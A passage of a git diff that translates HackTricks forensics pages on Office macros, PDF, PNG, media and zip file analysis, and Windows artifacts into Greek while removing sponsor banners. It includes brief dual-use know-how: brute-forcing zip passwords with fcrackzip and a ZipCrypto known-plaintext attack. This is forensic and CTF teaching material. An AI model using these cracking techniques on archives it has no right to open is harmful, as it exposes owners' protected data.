macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +Για ανάλυση, τα **oletools** και **OfficeDissector** προσφέρουν ολοκληρωμένα σύνολα εργαλείων για την εξέταση τόσο των εγγράφων OLE όσο και των OOXML. Αυτά τα εργαλεία βοηθούν στην αναγνώριση και ανάλυση ενσωματωμένων μακροεντολών, οι οποίες συχνά χρησιμεύουν ως διαδρομές για την παράδοση κακόβουλου λογισμικού, συνήθως κατεβάζοντας και εκτελώντας επιπλέον κακόβουλα φορτία. Η ανάλυση των VBA μακροεντολών μπορεί να διεξαχθεί χωρίς Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει την αποσφαλμάτωση με σημεία διακοπής και παρακολουθούμενες μεταβλητές. +Η εγκατάσταση και η χρήση των **oletools** είναι απλή, με εντολές που παρέχονται για την εγκατάσταση μέσω pip και την εξαγωγή μακροεντολών από έγγραφα. Η αυτόματη εκτέλεση των μακροεντολών ενεργοποιείται από συναρτήσεις όπως `AutoOpen`, `AutoExec` ή `Document_Open`. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 79799f2d8..e294a5810 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# Ανάλυση αρχείων PDF {{#include ../../../banners/hacktricks-training.md}} -
+**Για περισσότερες λεπτομέρειες ελέγξτε:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και την ικανότητά της να αποκρύπτει δεδομένα, καθιστώντας την κεντρικό σημείο για προκλήσεις ψηφιακής εγκληματολογίας CTF. Συνδυάζει στοιχεία απλού κειμένου με δυαδικά αντικείμενα, τα οποία μπορεί να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως JavaScript ή Flash. Για να κατανοήσετε τη δομή του PDF, μπορείτε να ανατρέξετε στο [εισαγωγικό υλικό](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) του Didier Stevens ή να χρησιμοποιήσετε εργαλεία όπως ένας επεξεργαστής κειμένου ή ένας ειδικός επεξεργαστής PDF όπως το Origami. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Για σε βάθος εξερεύνηση ή χειρισμό PDF, είναι διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Τα κρυμμένα δεδομένα μέσα σε PDF μπορεί να είναι αποκρυμμένα σε: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- Αόρατα επίπεδα +- Μορφή μεταδεδομένων XMP από την Adobe +- Σταδιακές γενιές +- Κείμενο με το ίδιο χρώμα όπως το φόντο +- Κείμενο πίσω από εικόνες ή επικαλυπτόμενες εικόνες +- Μη εμφανιζόμενα σχόλια -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +Για προσαρμοσμένη ανάλυση PDF, μπορούν να χρησιμοποιηθούν βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για τη δημιουργία ειδικών σεναρίων ανάλυσης. Επιπλέον, η δυνατότητα του PDF για αποθήκευση κρυφών δεδομένων είναι τόσο εκτενής που πόροι όπως ο οδηγός της NSA για τους κινδύνους και τα μέτρα κατά των PDF, αν και δεν φιλοξενούνται πλέον στην αρχική τους τοποθεσία, προσφέρουν ακόμα πολύτιμες πληροφορίες. Ένας [αντίγραφος του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να προσφέρουν περαιτέρω ανάγνωση στο θέμα. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..d9c4d9e5b 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**Τα αρχεία PNG** εκτιμώνται ιδιαίτερα σε **CTF challenges** για τη **χωρίς απώλειες συμπίεση**, καθιστώντας τα ιδανικά για την ενσωμάτωση κρυφών δεδομένων. Εργαλεία όπως το **Wireshark** επιτρέπουν την ανάλυση των αρχείων PNG διαχωρίζοντας τα δεδομένα τους μέσα σε πακέτα δικτύου, αποκαλύπτοντας ενσωματωμένες πληροφορίες ή ανωμαλίες. -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +Για τον έλεγχο της ακεραιότητας των αρχείων PNG και την επισκευή της διαφθοράς, το **pngcheck** είναι ένα κρίσιμο εργαλείο, προσφέροντας λειτουργικότητα γραμμής εντολών για την επικύρωση και διάγνωση των αρχείων PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Όταν τα αρχεία είναι πέρα από απλές διορθώσεις, διαδικτυακές υπηρεσίες όπως το [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) παρέχουν μια διαδικτυακή λύση για **την επισκευή κατεστραμμένων PNG**, βοηθώντας στην ανάκτηση κρίσιμων δεδομένων για τους συμμετέχοντες σε CTF. -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +Αυτές οι στρατηγικές υπογραμμίζουν τη σημασία μιας ολοκληρωμένης προσέγγισης στα CTFs, αξιοποιώντας ένα μείγμα αναλυτικών εργαλείων και τεχνικών επισκευής για την αποκάλυψη και ανάκτηση κρυφών ή χαμένων δεδομένων. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index a1e143cb0..9125f02fc 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,29 +1,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+**Η χειραγώγηση αρχείων ήχου και βίντεο** είναι βασικό στοιχείο στις **προκλήσεις ψηφιακής εγκληματολογίας CTF**, αξιοποιώντας **στεγανографία** και ανάλυση μεταδεδομένων για να κρύψει ή να αποκαλύψει μυστικά μηνύματα. Εργαλεία όπως το **[mediainfo](https://mediaarea.net/en/MediaInfo)** και το **`exiftool`** είναι απαραίτητα για την επιθεώρηση μεταδεδομένων αρχείων και την αναγνώριση τύπων περιεχομένου. -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +Για προκλήσεις ήχου, το **[Audacity](http://www.audacityteam.org/)** ξεχωρίζει ως ένα κορυφαίο εργαλείο για την προβολή κυματομορφών και την ανάλυση φασματογραμμάτων, απαραίτητο για την αποκάλυψη κειμένου που έχει κωδικοποιηθεί σε ήχο. Το **[Sonic Visualiser](http://www.sonicvisualiser.org/)** συνιστάται ιδιαίτερα για λεπτομερή ανάλυση φασματογραμμάτων. Το **Audacity** επιτρέπει τη χειραγώγηση ήχου όπως η επιβράδυνση ή η αναστροφή κομματιών για την ανίχνευση κρυμμένων μηνυμάτων. Το **[Sox](http://sox.sourceforge.net/)**, ένα εργαλείο γραμμής εντολών, διαπρέπει στη μετατροπή και επεξεργασία αρχείων ήχου. -{% embed url="https://academy.8ksec.io/" %} +**Η χειραγώγηση των λιγότερο σημαντικών bit (LSB)** είναι μια κοινή τεχνική στη στεγανографία ήχου και βίντεο, εκμεταλλευόμενη τα σταθερού μεγέθους κομμάτια των αρχείων πολυμέσων για να ενσωματώσει δεδομένα διακριτικά. Το **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** είναι χρήσιμο για την αποκωδικοποίηση μηνυμάτων που είναι κρυμμένα ως **DTMF τόνοι** ή **κωδικός Μορς**. -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +Οι προκλήσεις βίντεο συχνά περιλαμβάνουν μορφές κοντέινερ που συνδυάζουν ροές ήχου και βίντεο. Το **[FFmpeg](http://ffmpeg.org/)** είναι το εργαλείο αναφοράς για την ανάλυση και χειραγώγηση αυτών των μορφών, ικανό να απο-πολυπλέκει και να αναπαράγει περιεχόμενο. Για προγραμματιστές, το **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** ενσωματώνει τις δυνατότητες του FFmpeg σε Python για προηγμένες αλληλεπιδράσεις μέσω σεναρίων. -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +Αυτή η σειρά εργαλείων υπογραμμίζει την ευελιξία που απαιτείται στις προκλήσεις CTF, όπου οι συμμετέχοντες πρέπει να χρησιμοποιήσουν ένα ευρύ φάσμα τεχνικών ανάλυσης και χειραγώγησης για να αποκαλύψουν κρυμμένα δεδομένα μέσα σε αρχεία ήχου και βίντεο. -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. - -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. - -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. - -## References +## Αναφορές - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..7a5833e09 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**Εργαλεία γραμμής εντολών** για τη διαχείριση **zip αρχείων** είναι απαραίτητα για τη διάγνωση, επισκευή και σπάσιμο zip αρχείων. Ακολουθούν μερικά βασικά εργαλεία: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: Αποκαλύπτει γιατί ένα zip αρχείο μπορεί να μην αποσυμπιέζεται. +- **`zipdetails -v`**: Προσφέρει λεπτομερή ανάλυση των πεδίων μορφής zip αρχείου. +- **`zipinfo`**: Λίστα περιεχομένων ενός zip αρχείου χωρίς να τα εξάγει. +- **`zip -F input.zip --out output.zip`** και **`zip -FF input.zip --out output.zip`**: Προσπαθούν να επισκευάσουν κατεστραμμένα zip αρχεία. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ένα εργαλείο για brute-force σπάσιμο κωδικών zip, αποτελεσματικό για κωδικούς έως περίπου 7 χαρακτήρες. -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +Η [προδιαγραφή μορφής zip αρχείου](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) παρέχει λεπτομερείς πληροφορίες σχετικά με τη δομή και τα πρότυπα των zip αρχείων. -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +Είναι κρίσιμο να σημειωθεί ότι τα zip αρχεία που προστατεύονται με κωδικό **δεν κρυπτογραφούν τα ονόματα αρχείων ή τα μεγέθη αρχείων** εντός τους, μια αδυναμία ασφαλείας που δεν μοιράζονται τα RAR ή 7z αρχεία που κρυπτογραφούν αυτές τις πληροφορίες. Επιπλέον, τα zip αρχεία που κρυπτογραφούνται με την παλαιότερη μέθοδο ZipCrypto είναι ευάλωτα σε **επίθεση απλού κειμένου** αν είναι διαθέσιμη μια μη κρυπτογραφημένη αντίγραφο ενός συμπιεσμένου αρχείου. Αυτή η επίθεση εκμεταλλεύεται το γνωστό περιεχόμενο για να σπάσει τον κωδικό του zip, μια ευπάθεια που αναλύεται στο [άρθρο του HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) και εξηγείται περαιτέρω σε [αυτή την ακαδημαϊκή εργασία](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Ωστόσο, τα zip αρχεία που ασφαλίζονται με κρυπτογράφηση **AES-256** είναι ανθεκτικά σε αυτή την επίθεση απλού κειμένου, επιδεικνύοντας τη σημασία της επιλογής ασφαλών μεθόδων κρυπτογράφησης για ευαίσθητα δεδομένα. ## References diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md index 08b2ede8c..e404f4fe4 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -4,511 +4,495 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Generic Windows Artifacts ### Windows 10 Notifications -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +Στο μονοπάτι `\Users\\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν από την επέτειο των Windows) ή `wpndatabase.db` (μετά την επέτειο των Windows). -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +Μέσα σε αυτή τη βάση δεδομένων SQLite, μπορείτε να βρείτε τον πίνακα `Notification` με όλες τις ειδοποιήσεις (σε μορφή XML) που μπορεί να περιέχουν ενδιαφέροντα δεδομένα. ### Timeline -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +Το Timeline είναι μια χαρακτηριστική δυνατότητα των Windows που παρέχει **χρονολογική ιστορία** των ιστοσελίδων που επισκέφτηκαν, των επεξεργασμένων εγγράφων και των εκτελούμενων εφαρμογών. -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +Η βάση δεδομένων βρίσκεται στο μονοπάτι `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **το οποίο δημιουργεί 2 αρχεία που μπορούν να ανοιχτούν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). ### ADS (Alternate Data Streams) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +Τα αρχεία που έχουν κατέβει μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** κατέβηκαν από το intranet, internet, κ.λπ. Ορισμένα λογισμικά (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως το **URL** από όπου κατέβηκε το αρχείο. ## **File Backups** ### Recycle Bin -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** μπορεί να βρεθεί στον φάκελο **`$Recycle.bin`** στη ρίζα της μονάδας δίσκου (`C:\$Recycle.bin`).\ +Όταν διαγράφεται ένα αρχείο σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: Πληροφορίες αρχείου (η ημερομηνία που διαγράφηκε) +- `$R{id}`: Περιεχόμενο του αρχείου ![](<../../../images/image (486).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +Έχοντας αυτά τα αρχεία, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να αποκτήσετε τη διεύθυνση του αρχικού αρχείου που διαγράφηκε και την ημερομηνία που διαγράφηκε (χρησιμοποιήστε `rifiuti-vista.exe` για Vista – Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### Αντίγραφα Σκιάς Όγκου -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμη και όταν είναι σε χρήση. -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +Αυτά τα αντίγραφα ασφαλείας βρίσκονται συνήθως στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομα αποτελείται από **UIDs** που εμφανίζονται στην παρακάτω εικόνα: ![](<../../../images/image (520).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +Τοποθετώντας την εικόνα εγκληματολογίας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς. ![](<../../../images/image (521).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +Η καταχώρηση μητρώου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` περιέχει τα αρχεία και τα κλειδιά **για να μην δημιουργηθούν αντίγραφα ασφαλείας**: ![](<../../../images/image (522).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +Το μητρώο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` περιέχει επίσης πληροφορίες ρύθμισης σχετικά με τα `Volume Shadow Copies`. -### Office AutoSaved Files +### Αυτόματα Αποθηκευμένα Αρχεία Office -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Μπορείτε να βρείτε τα αυτόματα αποθηκευμένα αρχεία του Office στο: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## Στοιχεία Shell -A shell item is an item that contains information about how to access another file. +Ένα στοιχείο shell είναι ένα στοιχείο που περιέχει πληροφορίες σχετικά με το πώς να αποκτήσετε πρόσβαση σε ένα άλλο αρχείο. -### Recent Documents (LNK) +### Πρόσφατα Έγγραφα (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** σε: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης ένας σύνδεσμος προς τον φάκελο, προς τον γονικό φάκελο και προς τον παππού φάκελο. -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι ένα **αρχείο** **ή** ένας **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί. -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +Επίσης, η **ημερομηνία δημιουργίας του συνδέσμου** είναι η πρώτη **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο. -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε [**LinkParser**](http://4discovery.com/our-tools/). -In this tools you will find **2 sets** of timestamps: +Σε αυτό το εργαλείο θα βρείτε **2 σύνολα** χρονικών σημείων: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **Πρώτο Σύνολο:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **Δεύτερο Σύνολο:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +Το πρώτο σύνολο χρονικών σημείων αναφέρεται στα **χρονικά σημεία του αρχείου αυτού καθαυτού**. Το δεύτερο σύνολο αναφέρεται στα **χρονικά σημεία του συνδεδεμένου αρχείου**. +Μπορείτε να αποκτήσετε τις ίδιες πληροφορίες εκτελώντας το εργαλείο CLI των Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` - -In this case, the information is going to be saved inside a CSV file. +Σε αυτή την περίπτωση, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV. ### Jumplists -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +Αυτά είναι τα πρόσφατα αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιούνται από μια εφαρμογή** που μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**. -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +Οι **jumplists** που δημιουργούνται αυτόματα αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής. -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +Οι προσαρμοσμένες jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή κάτι **σημαντικό** έχει συμβεί με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο). -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. +Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει **την πρώτη φορά που το αρχείο προσπελάστηκε** και τον **χρόνο τροποποίησης την τελευταία φορά**. -You can inspect the jumplists using 